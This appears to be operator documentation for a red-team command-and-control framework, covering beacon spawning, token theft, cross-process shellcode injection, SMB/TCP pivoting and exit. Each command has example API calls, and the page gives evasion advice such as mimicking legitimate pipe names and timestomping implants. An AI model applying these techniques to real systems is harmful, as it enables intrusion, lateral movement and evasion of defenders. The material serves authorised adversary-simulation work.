Skip to content

Session Management

Commands for managing beacon sessions: spawning new beacons, managing peer-to-peer (P2P) links, session metadata, beacon configuration, and exit strategies. These commands control the lifecycle and topology of your implant network.


Session Topology

Stentor supports hierarchical beacon networks where child beacons route traffic through parent beacons back to the C2 server. This enables access to segmented networks without direct connectivity.

graph LR
    TS[Teamserver] <-->|WebSocket| R[Relay Agent]
    R <-->|HTTPS/DNS| PB[Parent Beacon]
    PB <-->|SMB Pipe| CB1[Child Beacon<br>SMB Link]
    PB <-->|TCP Bind| CB2[Child Beacon<br>TCP Link]
    CB1 <-->|SMB Pipe| CB3[Grandchild<br>Beacon]

    style TS fill:#1a1a2e,color:#e0e0e0,stroke:#00bcd4
    style R fill:#16213e,color:#e0e0e0,stroke:#00bcd4
    style PB fill:#0f3460,color:#e0e0e0,stroke:#4fc3f7
    style CB1 fill:#533483,color:#e0e0e0,stroke:#ce93d8
    style CB2 fill:#533483,color:#e0e0e0,stroke:#ce93d8
    style CB3 fill:#2e1065,color:#e0e0e0,stroke:#ce93d8

Parent beacons act as relay points -- child beacons send their traffic through the parent's established C2 channel. This means child beacons do not need direct internet access.


Session Commands Reference

Command Syntax Description Requires Admin
spawn spawn [x86\|x64] <listener> Spawn a new beacon session No
spawnas spawnas [DOMAIN\user] [password] [listener] Spawn beacon as another user No
spawnu spawnu [pid] [listener] Spawn beacon via token theft from PID No
inject inject <pid> <x86\|x64> <listener> Inject beacon into existing process No
link link <host> [pipe_name] Link to SMB named pipe beacon No
connect connect <host> <port> Connect to TCP bind beacon No
unlink unlink <child_beacon_id> Disconnect a linked child beacon No
note note <text> Add a label to a beacon session No
checkin checkin Force immediate check-in No
cancel cancel [pattern] Cancel queued download tasks No
clear clear Clear all pending tasks No
beacon_config beacon_config [info\|add\|remove\|hold\|release\|reset] View/manage beacon configuration No
variables variables View beacon runtime variables No
data-store data-store [args...] View beacon data store contents No
exit exit Terminate the beacon process No

Spawning New Sessions

Spawn commands create new beacon sessions from an existing beacon. Each method uses a different identity or injection mechanism.

spawn

Spawn a new beacon session by generating shellcode for the specified listener, injecting it into a sacrificial process (per spawnto configuration), and calling back to the listener.

Syntax:

spawn [x86|x64] <listener>

The architecture argument is optional -- defaults to x64 if only a listener name is provided (e.g., spawn HTTPS is equivalent to spawn x64 HTTPS).

How it works:

  1. Backend requests shellcode generation from the Relay for the specified listener
  2. Relay cross-compiles a stageless beacon and converts it to shellcode via Donut
  3. Shellcode is sent to the parent beacon as a spawn task
  4. Parent beacon creates a sacrificial process (per spawnto_x64/spawnto_x86 config)
  5. Shellcode is injected into the sacrificial process
  6. New beacon calls back to the specified listener

Shell example:

beacon> spawn x64 HTTPS
[*] Tasked beacon to spawn x64 session for listener "HTTPS"

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "spawn x64 HTTPS", "confirmed": true}'

Listener name resolution

The listener name is resolved case-insensitively. Use the exact name from GET /api/v1/listeners or the listener panel in the UI.


spawnas

Spawn a beacon as another user using explicit credentials via CreateProcessWithLogonW. The new beacon runs under the specified user's security context.

Syntax:

spawnas [DOMAIN\user] [password] [listener]

If no backslash is present in the user specification, the domain defaults to . (local machine).

How it works:

  1. Backend generates shellcode for the specified listener (same as spawn)
  2. Parent beacon calls CreateProcessWithLogonW with the provided credentials
  3. New process runs under the target user's token
  4. Shellcode is injected into the new process
  5. New beacon calls back under the target user's identity

Shell example:

beacon> spawnas CORP\svc_backup P@ssw0rd! HTTPS
[*] Tasked beacon to spawn as CORP\svc_backup via listener "HTTPS"

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "spawnas CORP\\svc_backup P@ssw0rd! HTTPS", "confirmed": true}'

OPSEC Considerations

  • Creates a new logon session -- generates Windows Event 4624 Type 2 (interactive logon)
  • Failed attempts generate Event 4625 (failed logon) which may trigger account lockout policies
  • The spawned process inherits the target user's profile and group memberships
  • Consider using spawnu (token theft) instead if you already have a process running as the target user

spawnu

Spawn a beacon under another process's identity by stealing its token. The new beacon inherits the security context of the target process without requiring credentials.

Syntax:

spawnu [pid] [listener]

How it works:

  1. Backend generates shellcode for the specified listener
  2. Parent beacon opens a handle to the target PID
  3. Token is duplicated from the target process
  4. A new process is created using the stolen token
  5. Shellcode is injected into the new process
  6. New beacon calls back under the stolen identity

Shell example:

beacon> spawnu 4728 HTTPS
[*] Tasked beacon to spawn under PID 4728 via listener "HTTPS"

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "spawnu 4728 HTTPS", "confirmed": true}'

Finding target PIDs

Use ps to list processes and identify PIDs running under the desired user identity. Look for long-running service processes (e.g., svchost.exe, application services) for stable token sources.

OPSEC Considerations

  • Requires SeDebugPrivilege or sufficient access rights to open the target process
  • Opening a process handle and duplicating a token generates ETW telemetry
  • The stolen token provides the same privileges as the source process, including group memberships

inject

Inject beacon shellcode into an existing process. Unlike spawn, this does not create a new process -- the beacon runs inside the target process's address space.

Syntax:

inject <pid> <x86|x64> <listener>

All three arguments are required. The architecture must match the target process (injecting x64 shellcode into an x86 process will crash it).

How it works:

  1. Backend generates shellcode for the specified listener and architecture
  2. Parent beacon opens a handle to the target process
  3. Memory is allocated in the target process
  4. Shellcode is written and executed using the configured injection technique
  5. New beacon calls back from within the target process

The injection technique is configurable via the CNA PROCESS_INJECT_EXPLICIT hook, allowing operators to swap injection methods at runtime.

Shell example:

beacon> inject 3156 x64 HTTPS
[*] Tasked beacon to inject x64 shellcode into PID 3156 for listener "HTTPS"

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "inject 3156 x64 HTTPS", "confirmed": true}'

OPSEC Considerations

  • Cross-process injection is heavily monitored by EDR. This is one of the most detectable post-exploitation actions.
  • Generates multiple telemetry events: VirtualAllocEx, WriteProcessMemory, CreateRemoteThread (or equivalent for the chosen technique)
  • Architecture mismatch (e.g., x64 shellcode into x86 process) will crash the target process
  • Prefer spawn (which uses a sacrificial process) over inject into production processes
  • If the target process exits, the injected beacon dies with it

P2P Beacon Linking

Peer-to-peer linking allows beacons to communicate through parent beacons rather than directly to the C2 server. This is essential for reaching hosts on isolated network segments.

sequenceDiagram
    participant Op as Operator
    participant Parent as Parent Beacon
    participant Child as Child Beacon (Listening)

    Note over Child: Child beacon starts<br>listening on SMB pipe<br>or TCP port

    Op->>Parent: link <host> [pipe] / connect <host> <port>
    Parent->>Child: Connect to pipe/port
    Child-->>Parent: Encrypted handshake
    Parent-->>Child: Session established

    Note over Parent,Child: P2P channel active<br>Child traffic routes<br>through Parent

    loop Task Execution
        Op->>Parent: Task for child beacon
        Parent->>Child: Forward task via P2P
        Child-->>Parent: Return result
        Parent-->>Op: Forward result to C2
    end

    Op->>Parent: unlink <child_id>
    Parent->>Child: Disconnect
    Note over Child: Child goes to sleep<br>Can be re-linked later

Connect to an SMB named pipe beacon. The child beacon must already be running and listening on a named pipe (created via an SMB payload or spawn with an SMB listener).

Syntax:

link <host> [pipe_name]

The default pipe name is \\.\pipe\stentor. If the child beacon was configured with a custom pipe name, specify it explicitly.

How it works:

  1. Parent beacon connects to the child's SMB named pipe on the specified host
  2. An encrypted P2P channel is established over the pipe
  3. Child beacon's traffic is routed through the parent back to the C2 server
  4. The child beacon appears in the operator console as a linked session

Shell example:

beacon> link 10.10.10.50
[*] Tasked beacon to link to \\10.10.10.50\pipe\stentor

beacon> link 10.10.10.50 \\.\pipe\custom_pipe
[*] Tasked beacon to link to \\10.10.10.50\pipe\custom_pipe

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "link 10.10.10.50", "confirmed": true}'

connect

Connect to a TCP bind beacon. The child beacon must already be running and listening on a TCP port (created via a TCP payload or spawn with a TCP listener).

Syntax:

connect <host> <port>

Both arguments are required. Port must be between 1 and 65535.

How it works:

  1. Parent beacon opens a TCP connection to the child on the specified host and port
  2. An encrypted P2P channel is established over the TCP connection
  3. Child beacon's traffic is routed through the parent back to the C2 server
  4. The child beacon appears in the operator console as a linked session

Shell example:

beacon> connect 10.10.10.50 4444
[*] Tasked beacon to connect to 10.10.10.50:4444

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "connect 10.10.10.50 4444", "confirmed": true}'

Disconnect a linked child beacon. The child beacon goes to sleep and can be re-linked later using link or connect.

Syntax:

unlink <child_beacon_id>

The argument is the UUID of the child beacon (visible in the beacon list or console output).

Shell example:

beacon> unlink a1b2c3d4-e5f6-7890-abcd-ef1234567890
[*] Tasked beacon to unlink child a1b2c3d4

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "unlink a1b2c3d4-e5f6-7890-abcd-ef1234567890", "confirmed": true}'

P2P OPSEC Notes

SMB vs TCP P2P Channels

SMB named pipes blend with normal Windows file sharing traffic (port 445). Most enterprise networks allow SMB between hosts, making this the preferred P2P method. However, the default pipe name (\\.\pipe\stentor) is a known indicator -- always customize it.

TCP bind connections are more visible on the network since they use non-standard ports, but they work across network segments where SMB may be blocked. Choose a port that blends with the target environment (e.g., 8080, 443).

Detection Considerations

  • SMB: Named pipe creation events (Sysmon Event ID 17/18), unusual pipe names
  • TCP: New listening port (netstat), connection to non-standard port from workstation
  • Both: Traffic volume anomalies through parent beacon
  • Customize pipe names to match legitimate software patterns (e.g., \\.\pipe\chrome.update.1)

Session Metadata

Commands for annotating, managing, and inspecting beacon sessions.

note

Add a text note or label to a beacon session. Notes are stored server-side in the beacon registry and persisted to the database. Useful for tracking purpose, ownership, or status of individual beacons.

Syntax:

note <text>

To clear a note, run note with no arguments.

Shell example:

beacon> note DC lateral movement pivot
[*] Note set: "DC lateral movement pivot"

beacon> note
[*] Note cleared

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "note DC lateral movement pivot", "confirmed": true}'

checkin

Force the beacon to check in immediately, bypassing the current sleep interval. The beacon re-sends its system information (hostname, IP, user, PID, etc.) on the next poll cycle.

Syntax:

checkin

Shell example:

beacon> checkin
[*] Tasked beacon to check in

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "checkin", "confirmed": true}'

When to use checkin

Use checkin after changing beacon configuration (sleep, evasion settings) to verify changes took effect immediately. Also useful for confirming a beacon is still alive after a period of inactivity. For sleep/jitter configuration, see the Evasion Commands page.


cancel

Cancel queued download tasks for the beacon. Accepts a glob pattern to selectively cancel downloads matching a filename pattern.

Syntax:

cancel [pattern]

If no pattern is provided, defaults to * (cancel all pending downloads).

Shell example:

beacon> cancel *.docx
[*] Cancelled 3 download(s) matching "*.docx"

beacon> cancel
[*] Cancelled 7 download(s) matching "*"

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "cancel *.docx", "confirmed": true}'

clear

Clear all pending (not yet delivered) tasks from the beacon's task queue. Tasks already delivered to the beacon are unaffected.

Syntax:

clear

Shell example:

beacon> clear
[*] Cleared 5 pending task(s)

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "clear", "confirmed": true}'

When to use clear

Use clear when you have queued multiple tasks by mistake or want to abort a sequence of operations. Only server-side pending tasks are removed -- anything already sent to the beacon will still execute.


Beacon Configuration

Commands for viewing and managing beacon runtime configuration.

beacon_config

View and manage the beacon's configuration, including C2 URLs, sleep settings, evasion state, and session metadata.

Syntax:

beacon_config                  # Show current configuration (default)
beacon_config info             # Same as above
beacon_config add <url>        # Add a C2 callback URL
beacon_config remove <url>     # Remove a C2 callback URL
beacon_config hold <url>       # Temporarily disable a C2 URL
beacon_config release <url>    # Re-enable a held C2 URL
beacon_config reset            # Reset to default configuration

Shell example:

beacon> beacon_config
[*] Beacon Configuration:
    Beacon ID:    a1b2c3d4-e5f6-7890-abcd-ef1234567890
    Sleep:        60s (25% jitter)
    PID:          4728
    User:         CORP\admin
    Hostname:     WS-PC01
    SpawnTo x64:  %windir%\sysnative\rundll32.exe
    SpawnTo x86:  %windir%\syswow64\rundll32.exe
    BlockDLLs:    enabled
    SleepMask:    enabled
    Syscall:      Indirect
    BeaconGate:   enabled

beacon> beacon_config add https://backup-c2.example.com/api
[*] Added C2 URL: https://backup-c2.example.com/api

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "beacon_config", "confirmed": true}'

variables

View all beacon runtime variables. Variables are resolved server-side from the beacon registry -- no task is dispatched to the beacon. This provides a comprehensive view of the beacon's current state.

Syntax:

variables

Available variables:

Variable Description
$bid Beacon UUID
$hostname Target hostname
$user Current username
$ip Target IP address
$os Operating system
$arch Architecture (x86/x64)
$pid Process ID
$sleep Sleep interval (seconds)
$jitter Jitter percentage
$note Operator-assigned note
$spawnto_x86 x86 sacrificial process path
$spawnto_x64 x64 sacrificial process path
$blockdlls BlockDLLs policy state
$ppid_target PPID spoofing target
$sleep_mask Sleep masking state
$syscall_method Syscall method (None/Direct/Indirect)
$beacon_gate BeaconGate state
$injection_technique Current injection technique

Shell example:

beacon> variables
[*] Beacon Variables:
    $bid                 a1b2c3d4-e5f6-7890-abcd-ef1234567890
    $hostname            WS-PC01
    $user                CORP\admin
    $ip                  10.10.10.50
    $os                  Windows 10 Pro 22H2
    $arch                x64
    $pid                 4728
    $sleep               60
    $jitter              25
    $note                DC pivot
    $spawnto_x64         %windir%\sysnative\rundll32.exe
    $blockdlls           true
    $sleep_mask          true
    $syscall_method      Indirect
    $beacon_gate         true

API example:

# Via shell command
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "variables", "confirmed": true}'

# Via dedicated REST endpoint
curl -s "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/variables" \
  -H "Authorization: Bearer $TOKEN"

data-store

View the beacon's data store contents. The data store is a key-value store used for BOF pre-loading and persistent data across task executions.

Syntax:

data-store

Shell example:

beacon> data-store
[*] Beacon Data Store:
    Entries: 3
    Total size: 14.2 KB

API example:

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "data-store", "confirmed": true}'

Exit Strategies

exit

Terminate the beacon process cleanly. The beacon sends a final check-in result confirming the exit, then calls its configured exit function to terminate.

Syntax:

exit

The exit behavior depends on the exit_func build option configured during payload generation:

Exit Function Behavior Use Case
process (default) Calls ExitProcess -- terminates the entire host process Standalone EXE beacons
thread Calls ExitThread -- terminates only the beacon thread Injected beacons (keeps host process alive)

Shell example:

beacon> exit
[*] Tasked beacon to exit
[*] Beacon a1b2c3d4 exited

API example (shell command):

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "exit", "confirmed": true}'

API example (REST endpoint):

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/state/exit" \
  -H "Authorization: Bearer $TOKEN"

OPSEC Considerations

  • The exit command leaves the implant binary on disk (if the beacon was not fileless). Consider using timestomp on the binary before exiting to reduce forensic artifacts.
  • When using exit_func: process, any other code running in the same process (e.g., if you injected into a legitimate application) will also be terminated, which is noisy.
  • For injected beacons, always use exit_func: thread at build time so that exit only kills the beacon thread.
  • Cross-reference the exit_func build option in Evasion Kits for details.

Command Interaction Summary

The following diagram shows how session management commands flow through the Stentor architecture:

flowchart TD
    A[Operator Console] -->|"spawn / inject / link / exit"| B[Backend Shell Handler]
    B -->|spawn / spawnas / spawnu / inject| C{Shellcode Needed?}
    C -->|Yes| D[Relay Agent]
    D -->|Generate shellcode| E[Return to Backend]
    E -->|Enqueue spawn task| F[Task Queue]
    C -->|No: link / unlink / exit / note| F
    F -->|Beacon polls| G[Parent Beacon]
    G -->|Execute task| H[Result]
    H -->|spawn/inject| I[New Beacon Session]
    H -->|link/connect| J[P2P Channel Established]
    H -->|exit| K[Beacon Terminates]

    style A fill:#1a1a2e,color:#e0e0e0,stroke:#00bcd4
    style B fill:#16213e,color:#e0e0e0,stroke:#00bcd4
    style D fill:#0f3460,color:#e0e0e0,stroke:#4fc3f7
    style F fill:#533483,color:#e0e0e0,stroke:#ce93d8
    style G fill:#0f3460,color:#e0e0e0,stroke:#4fc3f7
    style I fill:#1b5e20,color:#e0e0e0,stroke:#66bb6a
    style J fill:#1b5e20,color:#e0e0e0,stroke:#66bb6a
    style K fill:#b71c1c,color:#e0e0e0,stroke:#ef5350

Commands that require shellcode generation (spawn, spawnas, spawnu, inject) involve a round-trip to the Relay agent before the task is queued. Commands that operate directly on the beacon (link, connect, unlink, note, checkin, clear, exit) are queued immediately.